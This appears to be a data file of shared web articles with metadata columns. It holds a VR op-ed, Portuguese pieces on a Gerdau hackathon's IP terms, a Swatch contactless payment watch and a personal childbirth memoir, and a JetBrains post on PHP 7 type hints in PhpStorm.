1468244413,CONTENT SHARED,7004101889471761341,-1032019229384696495,-6120153066507598563,,,,HTML,https://techcrunch.com/2016/07/10/still-a-virtual-reality-skeptic-heres-why-you-shouldnt-be/,Still a virtual reality skeptic? Here's why you shouldn't be,"The original PlayStation console, launched when I was the managing director of Sony Computer Entertainment for Europe, shook the gaming world. The 3D environment was unfamiliar to gamers, and some in the industry at large were initially reluctant to adopt such a new technology. But with time, 3D gaming became the standard of video games, and 2D games began to be considered rigid and archaic. Consumers purchased PlayStation at record rates, buying 100 million units , and blew out its Nintendo and Sega Saturn competition. As VR becomes a force in the gaming world (and other sectors), with Google and Facebook making enthusiastic pushes in its innovation, I can't help but draw the evident parallels between the emergence of 3D-console gaming and quasi-nascent VR. Though some remain skeptical about VR and its likelihood of widespread use, it will become a widely adopted technology that can in turn drive adoption of other technologies, just like 3D-gaming technology did. Like 3D gaming catalyzed the million-plus purchases of PlayStation - and later Xbox and other 3D-optimized consoles - VR can play a significant role in incentivizing consumers to upgrade their mobile devices and/or operating systems. Specifically, VR's capabilities can entice consumers to update their smartphones, the same way 3D gaming incentivized consumers to update their gaming consoles. It's no secret that Google's mobile devices have plateaued in their upgrade appeal. In May 2016, just 35.6 percent of Android devices were running Android 5.0 to 5.1 Lollipop, which was released in 2014. What's more, only 7.5 percent of Android devices are running Android 6.0 Marshmallow, the latest version of the operating system. Despite, or maybe because of, these disappointing metrics, Google is rolling out the Android N , its next phone and tablet operating system. VR has the potential to drive adoption rates of Android N, and Google is tapping into this potential with the recent announcement of Daydream's mobile capabilities in the Google I/O keynote . VR could even be the forcing function for users to adopt 4K smartphones, which I believe is the future of mobile technology. Along with leveraging VR capabilities to help with Android adoption rates, VR can also be an important factor in convincing people to choose Android over the iPhone in the first place. Although there are rumors that Apple is covertly investing in a VR View-Master headset that may work with the iPhone , we're not really sure, and it's unlikely consumers will actively hold out for this. The ""build it and they will come"" pattern has established itself in many technology cycles. With that said, companies like Google shouldn't jump the gun in assuming that all consumers will want to upgrade immediately because of VR. VR is still perceived by many consumers as an impressive technology once removed. The pattern of new technology on the macro level starts like clothing in a fashion runway show - exciting to admire but separate from the flow of everyday life. Using 3D gaming as a fitting model, any new technology field matures by being brought to market first as a fringe item observed by the masses and used solely by the die-hard tech enthusiasts, and then it builds into something more. Right now, VR is in that observational stage necessary to the cycle that I witnessed for 3D gaming while at Sony. Concrete consumer uses cases are the next step to promote adoption and integration into everyday life as the collective becomes accustomed to entirely immersive VR experiences. Another key factor in the technology integration cycle is the innovating parties. Currently, tech giants like Google and Facebook have made the biggest bets on VR, and much of the news about the emerging technology circulates around these two behemoths. As VR ripens, other creators will establish their products and uses for VR. This ""build it and they will come"" pattern has established itself in many technology cycles; if we make VR an ecosystem attractive to developers, the industry will thrive on its own. In the months and years following PlayStation's reveal, Sony discovered that though it could develop hardware and games exclusively in-house, independent video game designers were just as important, and a healthy competition between the two stimulated further innovation and creativity. Facebook and Google's vision of VR, and VR's most known applications, are heavily consumer and gaming focused. However, enterprise VR is becoming an important vertical that will only continue to grow in relevance, rather than remain untapped. Enterprise VR/AR is already a prosperous alcove, with innovator Meta boasting 1,000 enterprise organizations among its clientele. Outside of gaming, enterprise VR/AR will help individuals and organizations find immediate value in the technology. As opposed to seeing VR/AR as a separate entity, VCs largely view it as solving problems in existing sectors. Qualcomm Ventures' managing director Jason Ball says ""AR/VR is the new UX/UI for everything, but it will take time."" The funding environment is focused on Solve for X , with VR/AR as capabilities that can enhance the solution. To me, this means that enterprise/industrial use cases are where the money is/will be invested. Much like we've seen 3D capabilities unfold, VR will make room for third-party organizations to find their niche, whether that be consumer-facing or siloed to the enterprise. Powered by innovation, companies large and small will carve out their own space and offerings within the technology to make its applications broader. VR has great potential even beyond consumer-facing services, and will be implemented in all types of industries. Though it's currently admired at a distance by most consumers and organizations, the cycle of technology tells us that adoption is not far off. Featured Image: Tomohiro Ohsumi/Bloomberg/Getty Images",en
1468244424,CONTENT SHARED,-8460222552900599049,7392990465409599343,6966141404585275286,,,,HTML,http://meiobit.com/346701/hackaton-gerdau-evento-sao-paulo-desenvolvimento-app-pegadinha-sobre-direitos-de-propriedade-intelectual/,"Gerdau realiza seu primeiro Hackathon, com pegadinha","Neste fim de semana a Gerdau promoveu o seu primeiro Hackathon, aquela maratona onde desenvolvedores são desafiados a criar uma solução funcional em algumas horas, com direito a prêmios e apoio na hora de tirar o projeto do papel, promovendo trabalho em equipe e também chances para profissionais fazerem novos contatos. Entretanto, embora a iniciativa seja boa é importante apontar alguns escorregões dados nessa primeira edição. O evento foi realizado durante o fim de semana na sede da FIAP em São Paulo, no bairro da Aclimação. 45 desafiados, divididos em nove grupos foram incumbidos de apresentar novas soluções com o intuito de fortalecer as relações entre empresas e clientes, seja B2C ou B2B ( com foco nesse último ) e onde a Gerdau seria a primeira escolha. Todos os participantes são estudantes de graduação, pós ou MBA e não havia limites por instituição. Com os grupos já definidos uma semana antes e as diretrizes passadas, os desenvolvedores puseram a mão na massa. O interessante dos Hackathons é que ele não é voltado apenas para programadores e outros profissionais de TI, e isso é importante até na hora de definir os times: profissionais e estudantes das áreas de design, vendas, publicidade e desenvolvimento foram todos mesclados para um melhor resultado final apresentado. A gente sabe que um produto final feito só por programadores pode ser excelente, mas dificilmente será user friendly ; da mesma forma o profissional de vendas também não entenderá de código, mas saberá se o app pode ser comercializado em seu estado ou não. No fim das 36 horas de maratona ininterruptas os grupos apresentaram seus projetos. Os vencedores foram os membros do Nerdau Steel, que levaram para casa cada um um iPhone 6 de 64 GB, um voucher de R$ 1 mil para uso com os cursos de curta duração Shift da FIAP e a possibilidade de incubação do projeto pela Gerdau, no valor de até R$ 100.000,00. O segundo e terceiro lugares também receberam prêmios como vouchers dos cursos e vale-compras da Fast Shop. E como um todo os participantes tiveram a opotunidade de interagir com profissionais e fortalecer seus contatos. Só que nem tudo é perfeito, e a Gerdau deu uma bela pisada na bola. Ao observar o regulamento ( cuidado, PDF ) você irá esbarrar em algumas regras bem curiosas, que não condizem com o espírito do Hackathon. Na 10ª cláusula, que trata da propriedade intelectual lê-se no segundo item: "" Os participantes se obrigam a ceder à Gerdau, de forma não onerosa e exclusiva, todos os direitos patrimoniais decorrentes dos projetos desenvolvidos durante o Evento, sempre reservando para si os direitos morais a eles associados. Os participantes ainda declaram ser livres de quaisquer ônus ou embaraços à Gerdau os direitos patrimoniais ora cedidos ."" Curioso. Todos os direitos sobre as ideias desenvolvidas são de propriedade da Gerdau e não dos desenvolvedores. Embora ao conversar com participantes e ter constatado que a negociação não inclui o código-fonte ( e empresa só faz uso dos PPTs e do .APK finalizado ), isso não é um procedimento padrão de outros Hackathons. A criação é dos devs e só deles, o procedimento normal é oferecer aporte e projetos de incubadoras. No terceiro item, temos: "" Os participantes do Evento declaram expressamente ceder a sua imagem, nome e som de voz à Gerdau e à FIAP, de forma completamente gratuita, sem qualquer tipo de ônus, em caráter irrevogável, irretratável, com prazo indeterminado, em território nacional ou internacional. A concessão de uso de imagem, nome e som de voz não constitui direito de qualquer espécie ao participante, podendo ser utilizado ou não pela Gerdau e/ou FIAP ."" A Gerdau e a FIAP detém também os direitos de imagem dos participantes, e estes não poderão reclamar sobre uso posterior de suas fotos, nomes e gravações de áudio e vídeo. Por fim, o quarto item: "" Os participantes serão responsáveis pela utilização de suas ideias e pela elaboração de seu projeto, assumindo total e exclusiva responsabilidade decorrente de eventuais reivindicações de terceiros relativos a direitos de propriedade intelectual ou de direito autoral, sendo preservado o direito de regresso ou de denunciação à lide em razão de eventuais questionamentos de terceiros ."" Opa, os desenvolvedores ficam com alguma coisa sim: a responsabilidade legal sobre suas criações. A Gerdau se exime de responsabilidade e qualquer problema posterior, como acusações de plágio não será ela que irá responder, e sim os devs. Resumindo a história: a Gerdau utilizou o nome Hackathon para absorver ideias dos participantes sem custo, não vai pagar direitos de propriedade intelectual e nem de imagem, e se der problema quem responde são os criadores e não ela. É exatamente a mesma coisa que a Samsung fez cinco anos atrás , com um concurso para desenvolvimento de apps para SmartTVs. É um contrato leonino. Sugiro um acompanhamento à Gerdau: Não nego a importância dos Hackathons, eles são importantes não só para permitir a descoberta de novos talentos como também fomenta trabalho e equipe, e muita gente de outros setores que não o de TI passam a ver a área com outros olhos. O que não pode é um desvirtuamento da ideia original para coletar ideias alheias como a Gerdau fez em sua primeira edição do evento. Ainda que o evento seja importante pelo aprendizado e networking, esperemos que os próximos patrocinados pela Gerdau não sejam assim. O Meio Bit realizou a cobertura do evento a convite da Gerdau. Relacionados: desenvolvimento , FIAP , Gerdau , hackathon , pegadinha , Pegadinha do Mallandro , projetos , propriedade intelectual , truehackers",pt
1468244860,CONTENT SHARED,-3102446808559723934,3609194402293569455,-493688854152847866,,,,HTML,http://startupi.com.br/2016/07/visa-e-swatch-lancam-relogio-para-pagamentos-contactless-no-brasil/,Visa e Swatch lançam relógio para pagamentos contactless no Brasil - Startupi,"Acaba de chegar oficialmente ao Brasil o novo relógio da Swatch Bellamy - um ""bel ami"", bom amigo em francês. Através de sua tecnologia de pagamento sem contato, o produto chega ao mercado para auxiliar quem está com pressa na hora de fazer ou prefere sair de casa sem carregar a carteira no bolso. O Swatch Bellamy é uma alternativa ao dinheiro em espécie: basta aproximar o relógio de um terminal de pagamento sem contato por um instante e a transação será efetuada em questão de segundos. Como a realização de pagamentos sem contato não exige energia, a bateria da pulseira pode durar por anos. Diferentemente dos cartões de pagamento tradicionais, não há nada no relógio que mostre que ele possa ser utilizado para tal finalidade, tornando-o uma forma de pagamento mais discreta que as demais. Cada relógio vem equipado com uma antena NFC (Near Field Communications) embutida e um chip contactless da Visa para comunicação com terminais de pagamento sem contato. Semelhante aos cartões pré-pagos sem contato, os gastos são debitados de créditos previamente carregados por meio de uma função de pagamento bancário associada. Desta forma, mesmo que o usuário perca seu relógio, o crédito estará seguro. Após adquirir um dos quatro modelos já disponíveis, os clientes devem se cadastrar junto à sua instituição bancária e depositar créditos em seu relógio. Os usuários podem fazer compras tanto no Brasil quanto em qualquer parte do mundo que aceite o pagamento sem contato da Visa. Para visualizar saldo e extrato, o usuário deve acessar a página da Swatch para os relógios Bellamy . O Swatch Bellamy possui parceria com a Visa e a Brasil Pré-Pagos. A OT (Oberthur Technologies) foi a empresa selecionada para fornecer a solução de pagamento NFC e a personalização de dados, garantindo aos usuários a realização de pagamentos seguros e sem contato. A Swatch escolheu o Brasil para ser o primeiro país das Américas a começar a usar o Swatch Bellamy. Esta nova forma de pagamento foi lançada na China e na Suíça no início do ano. Os primeiros modelos estão disponíveis no Brasil todo a partir deste mês, no valor de R$ 725.",pt
1468247818,CONTENT SHARED,-1297580205670251233,534764222466712491,-9077035980881675856,,,,HTML,https://viagensdealline.com/2013/08/20/a-minha-viagem-a-maternidade/,A minha viagem à Maternidade #tetodomundo,"Já fazia uma semana, desde o dia 26 de dezembro, que eu não parava de sentir uma fraqueza horrível pelo corpo, um embrulho constante nas entranhas e um mau humor insuportável. O mundo todo tinha perdido suas cores, eu estava com uma sensação fortíssima de morte iminente. Era primeiro de janeiro de 1999, toda a minha família se reunia num resort no interior de São Paulo para comemorar a passagem do ano. Mas aquele réveillon eu não comemorei com eles, eu estava de cama. Havia dormido desde o dia 30 de dezembro e não conseguia levantar para nada. Quando minha mãe passou pelo meu quarto naquela manhã de ano novo, eu implorei a ela: - Mãe, eu estou falando muito sério com você. Eu preciso ir para um hospital urgente! Eu tenho certeza que algo muito grave está acontecendo comigo. Por favor, mãe, me ajuda! Mesmo diante de minha urgência hospitalar e de meu claro desespero, minha mãe, que é uma médica pediatra, respondeu: - Fica calma, minha filha... Olha, não tem nenhum hospital ou clínica aqui perto. Amanhã bem cedinho a gente já vai embora para casa e eu prometo que assim que chegar em Brasília a gente te leva direto para o hospital, está bem? Descansa só mais esse dia de hoje que amanhã tudo vai se esclarecer. ... E que você tenha o ano mais feliz da sua vida, minha filha! Não adiantava continuar insistindo. Eu ali no meu leito de morte e minha mãe sem tirar aquele sorriso insuportável do rosto. Mas eu estava tão fraca que não conseguia nem sentir vontade de esconjurá-la. Fiz a viagem de volta para Brasília como pude, aos trancos, buracos e barrancos. Sonhando com o prometido de que alguém me levaria para o hospital assim que chegasse e que algum médico me daria a cura para aquela sensação terrível que consumia meu corpo por completo. Triste ilusão. Assim que chegamos, ao invés de hospital, minha mãe recomendou a Leonardo, o meu namorado que estava viajando comigo, que passássemos direto numa farmácia e comprássemos um teste de gravidez. TESTE DE QUÊ??? Eu estava fisica e psicologicamente abalada demais para rir de uma palhaçada tão sem graça como aquela. Eu vinha de uma depressão crônica de vários anos, havia ficado um bom tempo sem nem menstruar por causa da doença. Eu comia bem, mas há muito que só emagrecia. Já estava pele e osso, sempre me considerando uma pessoa muito debilitada. Até nem tomava mais anticoncepcional porque as pílulas só pioravam o meu estado de saúde, tanto físico quanto mental. ""Eu nem me considero uma mulher completamente adulta ainda"" - pensava eu. ""Sou magra demais e não tenho nenhuma maturidade para ser mãe. Que óbvio que eu não estou grávida!"". Aceitei fazer a porcaria do teste só para que minha mãe tirasse aquele sorrisinho impertinente do rosto e me levasse finalmente direto para uma emergência. Fui até o banheiro igual a um zumbi, levando na mão o pacotinho com o tal do teste. Leonardo ficou esperando do lado de fora calado, com aquela cara de quem há dias não tinha a menor idéia do que estava acontecendo comigo. Fiz o meu xixi e o papelzinho indicador ficou completamente rosa. Dei uma olhada nas instruções para saber o que aquilo significava e a bula era bastante clara. Era simples demais. Azul, teste negativo. Rosa, teste positivo. Como assim positivo? O quê diabos isso significa?? Mostrei para o Leonardo e eu nunca vou esquecer o tamanho do sorriso que ele deu. Mas eu mesma, na minha cabeça não tinha nenhum pensamento muito claro passando por ali. Talvez desespero seja isso mesmo... Eu estava em choque, catatônica. Então de repente, não tinha mais nada embaixo dos meus pés. As coisas, parece que começavam a rodar na minha frente. Me deu uma vontade imensa de voltar atrás, de descobrir a fórmula para viajar no tempo e reverter todo aquele pesadelo absurdo. Como assim positivo?? Eu estou no meio de uma porção de planos para o futuro, para a minha carreira, para o meu crescimento! Inclusive, a minha lista de coisas para fazer esse ano está gigante! Não existe a menor possibilidade de aparecer uma criança a essa altura do campeonato. Eu tenho ZERO de estabilidade, sem condição nenhuma de sustentar um filho ainda por cima! A primeira imagem que veio à minha cabeça era do paredão de concreto de um viaduto escuro e mal cuidado. Numa noite de lua clara, onde eu estava sentada embaixo de uma tenda de papelão com aquela criança no meu colo, coberta só com um pano sujo qualquer. Lembro-me de ter visto a fome claramente naquela imagem. Um cansaço extremo. Um abandono absoluto da vida. Vou acabar de baixo da ponte... Pensei em quem seria o primeiro a morrer, se seria eu ou o bebê... Era óbvio que eu não iria conseguir sustentar aquela criança. Esse era o fim. ....... Lição número um da maternidade, e talvez a maior de todas as lições: A natureza é perfeita e implacável. E a nossa arrogância é uma total estupidez. Gente, eu já tinha 24 anos de idade! Como é que eu podia ser uma pessoa tão despreparada e imatura assim? Mas eu era. Os jovens de hoje são totalmente superprotegidos. Tanto fisica quanto psicologicamente, aos 24 anos qualquer um já está para lá de pronto para ter um filho. Como é que eu não sabia disso?? Quanta arrogância a minha, de achar que eu não estava pronta... Levaram-se pouquíssimos dias para eu começar a compreender o tamanho da sabedoria da natureza. Existe sim vida após o resultado positivo de um teste de farmácia. Dias se passaram e eu ainda não havia morrido! Na verdade, exatamente nada tinha mudado na minha rotina até então. ""Interessante..."" - pensei eu. Tudo ainda era muito confuso, eu ainda estava muito zonza. Mas assim que a ""catatonisse"" passou, lá por volta da primeira semana depois de tomar ciência dessa condição chamada gravidez, eu começava a perceber que um amor muito forte já brotava dentro de mim. Uma coisa muito diferente de tudo aquilo que eu havia sentido antes. Uma coisa bem mais profunda, parece que mais pura... Alguns outros poucos dias mais e então tudo na minha cabeça já mudava completamente. Assim que a maior de todas as responsabilidades bate a sua porta, você amadurece na marra. Ou talvez, só pára de segurar uma maturidade que na verdade sempre esteve ali, mas que nunca tinha sido preciso utilizá-la. ...... As lições da maternidade são diárias e diversas. Infelizmente, no caso da minha gravidez não foram só os três primeiros meses de mal estar e enjôo não. Eu passei todos os noves meses me sentindo um lixo. E minha mãe falou que com ela aconteceu o mesmo, tanto quando estava grávida de mim, quando de meu irmão. Eu me sentia tão mal, que nem tenho muitas lembranças do dia que fui fazer a ecografia para descobrir o sexo do bebê. Lembro só de o Léo ter ficado muito contente com o resultado. Mas para mim mesma, nada daquilo tinha a menor importância. Já por outro lado, também por causa da gravidez, Léo e eu decidimos nos casar. Um evento para mais de duzentos familiares e amigos. Foi o dia que eu me senti mais linda em toda a minha vida. Maquiagem, cabelo, unhas, sapato, hormônios a flor da pele... Tudo! Uma produção impecável. Lembro-me perfeitamente do exato momento da abertura do grande portal da igreja, lotada. Eu vinha com um véu de cinco metros de comprimento todo bordado, saindo gloriosamente de um Chevy Camaro esporte, vermelho cor de rubi. O meu vestido branco era deslumbrante, do jeito que toda a noiva deve se achar. Eu escolhi o estilo ""Julieta de Shakespeare"", porque no fundo eu sou uma romântica e também para aproveitar e já disfarçar a barriguinha que àquela altura estava para lá de saliente. Eu achei que meu coração fosse parar quando a música alta e majestal começou a tocar só por causa da minha presença. Havia uma multidão de olhos arregalados em minha direção. Eu vinha de braços dados com o meu pai, que naquele dia sentia um orgulho muito grande de mim. Podia ver meu irmão lá na frente, no altar, com seu lindo sorriso no rosto. E minha mãe com minha única avó ainda viva, magníficas! E já chorando, lógico. A festa foi muito simples, mas grande e extremamente alegre, lotada de pessoas que nos desejavam uma felicidade absoluta. Senti a presença muito forte de um primo amado que eu tinha perdido há pouco tempo, eu sabia que ele estava ali compartilhando aquele momento comigo. Mas voltando à história da gravidez, bem no dia do meu casamento os meus peitos estavam gigantes de tanto leite. Lindos, redondos e naturais. Para quem nunca teve peito nenhum, essa com certeza é uma das boas lembranças de quando se está grávida. Lembro-me de ter comprado umas coisinhas aqui e ali, de ter montado o quartinho do bebê com móveis doados pela família e reformados por mim com a ajuda da minha mãe. Por sinal, apoio sempre total na minha vida e diário durante aquela fase tão difícil. Fiz eu mesma a pátina do bercinho, da cômoda e do armário. Lembro-me de ter bordado quadrinhos infantis para pendurar na parede; do dia que estava em Goiânia comprando todo o enxoval; e lembro-me também de um churrasco na beira do lago que fizemos para barganhar fraldas descartáveis dos amigos (foto abaixo). Enchemos um armário inteiro só de fraldas. Mas lembro também de infecção urinária, azia, estresse, gases doloridos, estrias, aftas, inchaço, de no último mês estar com um barrigão tão grande que não conseguia mais ver nem meus pés nem minhas pernas, de estar sentido uma dificuldade enorme para respirar, comer, dormir, trabalhar, tomar banho, andar, mexer, sentar, levantar, conversar, pensar, sorrir, existir, ... O tamanho que estava ficando a minha barriga nas últimas semanas daquela contagem regressiva começou a me dar pânico. Só não surtei de vez porque na verdade quando não se respira direito, o raciocínio vai lá para baixo, e quando não se dá conta de pensar, isso inclui também não pensar besteira. Simplesmente vegetei, apavorada. ........ No dia 20 de agosto daquele mesmo ano, no exato dia do aniversário de 20 anos do meu irmão mais novo, eu acordei as 6 da manhã com uma dor intestinal meio chatinha, fui ao banheiro algumas vezes mas nada acontecia... Mimada como sempre fui, já liguei logo para a minha mamãezinha para pedir ajuda. - Mãe, que remédio eu posso tomar para dor de barriga? Resolvi perguntar, porque uma das lições sobre gravidez que a gente já aprende desde o começo, é que não se pode mais botar qualquer coisa para dentro de você. Tudo tem regra. - Quando isso começou, minha filha? - ""respondeu"" minha mãe com outra pergunta. - Tem menos de uma hora - disse eu. - Me deixa falar com o Léo. - Oi, Dona Cleusa... - disse Leonardo pegando o telefone. - Léo, vai começando a preparar uma malinha com as coisas dela e do bebê. Nós vamos aqui ligar para o obstetra para saber como ele quer proceder. Peguei o telefone da mão do Léo e disse já sem paciência: - Mãe, que parte da frase ""Eu estou só com uma dor de barriga"" você não está entendendo? - Filha... Contração é igual à dor de barriga. Essa foi a primeira lição daquele dia que seria longo... O recado do meu obstetra, que estava em meio a sua caminhada matinal, era para que eu aguardasse ainda mais algumas horas e entrasse em contato com ele lá pelo meio da manhã para reportar a evolução do caso. Eu acho que em menos de 15 minutos depois daquela conversa apavorante, eu já tinha feito a tal da malinha e já estava dentro do carro obrigando o Léo a me dirigir até o hospital no grito. Eu estava em um completo estado de pânico. Já no hospital foi quando eu comecei a sentir as primeiras contrações para valer. Muito curtas ainda, mas já dilacerantes. O meu obstetra chegou logo em seguida e me examinou de prontidão. Falou que estava tudo indo muito bem e que eu tinha que esperar dilatar mais não sei o quê, do não sei o quê lá. Foi quando então que eu implorei, por tudo o que era mais sagrado, confesso que num tom muito mais alto do que ele merecia, para que ele tirasse imediatamente aquela criança de dentro de mim. A minha barriga estava gigante e eu tinha muita certeza na minha cabeça que nunca que eu iria conseguir colocar tudo aquilo ali para fora sozinha. O Doutor Sebastião é um santo! Ele aguentou todos os meus pitis daquele dia com toda a serenidade de um grande amigo e de um profissional de extrema competência. Ele sabia que o meu bebê não tinha virado de cabeça para baixo, que estava com três voltas do cordão umbilical em seu pescoço e que o meu caso teria que ser Cesária de qualquer forma. Ele não me deixou sofrer absolutamente mais nada. Já deitada numa maca em direção ao centro cirúrgico, num movimento desconcertante, encarando aquele teto pálido e frio, cheio de luzes passando rapidamente pelos meus olhos, sem ter a mínima noção do que me aguardava lá na frente, foi então que eu senti um pânico ainda maior. O maior de todos na minha vida até então. Eu me lembro de estar chorando como uma louca desesperada. Só me acalmei quando o meu anjo da guarda veio, segurou na minha mão e falou bem baixinho ao meu ouvido: ""Pode se acalmar agora, eu estou aqui com você"". Era o meu primo Evandro, de apelido Deco, assistente do meu parto aquele dia. A sala que me colocaram estava vazia, só eu e ele ali. Ele me sentou na maca com o seu sorriso doce, sua voz mansa e seu tato de médico sábio. Depois chegou outro cara de branco, também com um sorriso, passou a mão pelas minhas costas através daquela camisola de doente, com a abertura atrás, em que eu estava vestida. Eu senti uma picadinha bem de leve na região da coluna. Deco ainda segurava a minha mão calmamente. O outro doutor fazia mais algumas coisas ali por trás que eu não tinha a menor idéia do que era porque eu não conseguia ver nada. Muito depois que eu fui saber que ele estava enfiando aquele agulhão gigante da anestesia peridural na minha espinha. Mas eu não sentia nada por causa da anestesia prévia que ele tinha me dado. Obrigada doutor. Eu implorava muito para o Deco me colocar para dormir urgentemente. Ele me perguntou se eu não ia querer ver o meu bebê assim que nascesse. Eu então surtei de vez. Só de cogitar a possibilidade de ver sangue, o meu coração já disparava para a boca. ""Deco, me coloca para dormir agora! Pelo amor de Deus!!!"" Ele então consentiu. Me deitou de volta na maca, embaixo de uma carrossel de luzes fortíssimas e começou a preparar umas coisinhas por ali, até que alguém botou um grande pano branco na minha frente, entre minha cabeça e minha barriga. Deco então falou: - Já vou te colocar para dormir em um minuto. - Eu não quero ver sangue! - eu dizia com terror. - Você não vai ver nada. Confie em mim. Eu senti um pequeno estalinho na barriga e bem rapidamente depois um jovem doutor saiu de trás do pano branco, levantou a minha mão, fez alguma coisa por ali e bem simpaticamente me pediu que contasse até dez. - Um... Eu não me lembro do dois. Também muito depois, fiquei sabendo que naquele momento em que eu estava crente que eles nem tinham começado a cirurgia ainda, na verdade já haviam aberto a minha barriga toda. Na minha cabeça, cirurgia era uma coisa que demorava horas e horas, mas a realidade é que a minha Cesária não durou nem trinta minutos. Por várias razões médicas, durante o parto a mãe só pode ficar inconsciente após a criança sair do útero. Aquele estalinho que eu senti já era o bebê se descolando de mim através do corte apertado. Tudo foi muito rápido. Eu dormi no segundo antes de ouvir o meu filho chorar. ........ Acordei e meus olhos se relutaram a abrir. Estava encostada na parede de um corredor do hospital, ainda deitada numa maca. Fiquei inconsciente por mais ou menos uma hora depois do parto. Quando minha visão desembaçou, a primeira coisa que apareceu na minha frente foi o sorriso enorme do meu pai. - Ooooooooooi! - ele falou. - Como você está se sentindo? - Eu sei lá... - respondi. Estava ainda sonolenta. Uma enfermeira (eu acho) me transportou até o quarto em que eu iria passar a noite. Só sei que em menos de uma hora, o efeito da anestesia começou a diminuir, e foi então que eu comecei a sentir a maior dor de todo esse mundo. A parte de baixo da minha barriga começou a latejar um pouquinho, depois foi piorando, e em questão de minutos era como se estivesse uma faca alucinada serrando a minha barriga de um lado para o outro sem parar, bem no lugar dos pontos e da faixa branca do curativo. Lá estava eu aos berros de novo. Já mandaram chamar logo o meu ""personal"" anjo da guarda. Deco, como todo anjo que se preze, aplicou na minha veia alguma droga sobrenatural, que teve o poder de acabar completamente com toda aquela dor que eu estava sentindo. Ele botou a mão no vidrinho do soro que escorria em mim, e em questão de milésimos de segundos uma grande onda percorreu todo o meu corpo, do primeiro fiozinho de cabelo até a pontinha da unha do meu pé. Uma grande onda de paz. Eu sorri de verdade pela primeira vez depois de longos nove meses. Na verdade, eu gargalhei! Foi bom demais. Logo então, meio que de repente, a porta do quarto se abriu. E nesse momento a visão mais maravilhosa do mundo surgiu magicamente à minha frente. Era um príncipe todo de branco. O príncipe mais encantado de todos os príncipes. ""O cavaleiro errante enviado pelo Universo para resgatar a minha vida das trevas da imaturidade. O salvador abençoado que veio inundar o vazio da minha existência com o beijo de seu amor eterno."" Ele tinha os olhinhos fechados, estavam vermelhos. A mãozinha era cheia de dedinhos. Que coisa MAIS LINDA! Mastercard que me perdoe, mas ver o rosto de seu filho pela primeira vez não tem preço. É o cataclisma de meses e meses de ansiedade pensando em como seria aquela imagem. O coração vai a mil. Mesmo quando injustamente ele é a cara do pai e não puxou nada de você, nada disso tem importância. ""O MEU filho é MUITO LINDO!"" - repetia eu sem conseguir parar. Acho que era uma mistura do efeito das drogas anestésicas com a visão do paraíso, tudo ao mesmo tempo. Veja a foto abaixo dos meus dois anjos juntinhos! Como que um dia passou pela minha cabeça que eu pudesse não estar pronta para esse momento? Quanta arrogância... Muito obrigada por essa grande lição, minha mãe natureza. ......... Hoje o meu filho faz quatorze anos. Eu ainda tento entender o que foi que eu fiz para merecer um filho tão perfeito. O bebê mais lindo, a criança mais doce, o menino mais inteligente, o pré-adolescente mais meigo, o companheiro mais amoroso, o futuro homem mais sensível que existe. Eu nunca pensei muito em ter filhos, mas sempre que imaginava como eles seriam, nem de longe passava pela minha cabeça que seria algo tão maravilhoso como o meu Luiz. O maior amor de toda a minha vida. Feliz aniversário, meu filho amado. Escrevi esse post de presente para você.",pt
1468248549,CONTENT SHARED,-1242702988593021334,3891637997717104548,-9197960696938236822,,,,HTML,https://blog.jetbrains.com/phpstorm/2016/07/php-7-support-in-phpstorm-2016-2/,PHP 7 Support in PhpStorm 2016.2,"PHP 7 is gaining traction, and we've been working hard to try and make PhpStorm 2016.2 the best tool around for working with PHP 7. This is something I'm really excited about. One of my biggest problems with PhpStorm's PHP 7 support was the lack of inspections around scalar type hints and return type hints. HHVM/Hack ships with a static analysis tool that makes working with its type hint system a dream, while PHP has been lacking a viable static analysis tool. PhpStorm's recent improvements in type support and PHP 7 bring it as close to being a static analysis tool as I've seen. Type Hints??? Note: While I am working with functions for this blog post in the interest of simplicity, this is obviously most useful when working with objects, methods, and unit tests. If you aren't sure what I'm talking about when I mention type hinting, it's nicely simple. Take the following code: This is a basic function that checks if a given string is a valid IPv4 IP address, complete with basic tests. We can see that the input is a string, and we should always return a boolean. Before PHP 7, we would have always needed this type check at the start of the function (lines 5-8) to ensure that future code was operating on the type we expected it to. We'd also need to write extra tests for our code checking that what's returned is a boolean every time and that the type check code gets hit. This is wasted code. Other languages have had type hinting in functions included in them forever. PHP calls these "" type declarations"" but the universal name "" type hints"" has been around a while. Type hinting means that you can define in the function definition exactly what type the parameter should be, and let PHP take care of what happens if you try to pass in something that is not of that type. We've had this in PHP for a while for things like objects , callables , and array , but never for the more fundamental scalar types, such as int , string , boolean . PHP 7 gives us this power in the usual way: Notice how we can remove the whole type checking thing now, as anything that's passed into the function is cast to a string by the type hint. This will now pass as the integer 100 will be cast to a string '100' and will fail the regex validation. This is step 1 of PHP 7's type hinting, it's called coercive mode and is quite scary. Do we really want PHP casting things to types when we make a mistake and pass the wrong type in? Some people would argue that PHP has a rich history of silently casting one type to another, but for me, if I make a mistake I'd rather know about it than let PHP do some unknown type casting; usually the wrong type is indicative of a bug somewhere in the application. Thankfully, PHP 7 has got you covered. You can disable scary-silent-type-casting and force PHP to throw a catchable TypeError when you pass in a value that's the wrong type. Now we can finally code defensively without a ton of boilerplate type checking and unit tests. You can enable strict types by using a define statement at the very top of the file that is calling the function . This is important. Only the calling end defines whether strict typing is used or not. This is a weird concept, but was done to allow reusable libraries that work in both coercive and strict mode: PHP Fatal error: Uncaught TypeError: Argument 1 passed to isIP4Address() must be of the type string, integer given, called in Validators.php on line 11 and defined in Validators.php:4 The great news is that this also works for whatever you return, too. PHP 7 introduces a brand new return type hint syntax that lets us effectively say ""this function should ALWAYS return a boolean."" Again, this removes a lot of boilerplate code and allows us to catch logic bugs where a function may have been mistakenly returning, say, an integer, but we never noticed as it always passed our boolean check. Adding the return type hint is done by using a colon plus the type after the last ) in our function definition: Now, if we try and return anything other that a boolean, PHP will throw a catchable TypeError and tell us exactly what's gone wrong. It's amazing: just adding these type hints to legacy projects has allowed me to find many, many bugs that were previously undetected. What About PhpStorm? Those who are here because they know all about type hints will be thinking ""great, I know this, what about PhpStorm???"". To you people, I apologize, but this is important enough to be covered again before getting around to PHP 7 support in PhpStorm. PHP 7 support was initially introduced in PhpStorm 9.5, including a PHP 7 level in the interpreter configuration, and modifications to the lexer to allow the PHP 7 specific keywords and syntax. But PhpStorm 2016.2 takes this a step further by adding inspections around type hinting in PHP 7 meaning you'll catch your type errors right in the IDE before you even run the code. This is huge. Let's consider our above example in PhpStorm 2016.2 with PHP 7 support enabled. (If you aren't familiar with how this works, there's a video .) We'll move to screenshots so that you can see the PhpStorm inspections at work. Notice how the last assertion has fired a warning because PhpStorm knows you're passing in an integer and PHP 7 is in strict mode and expects a string. 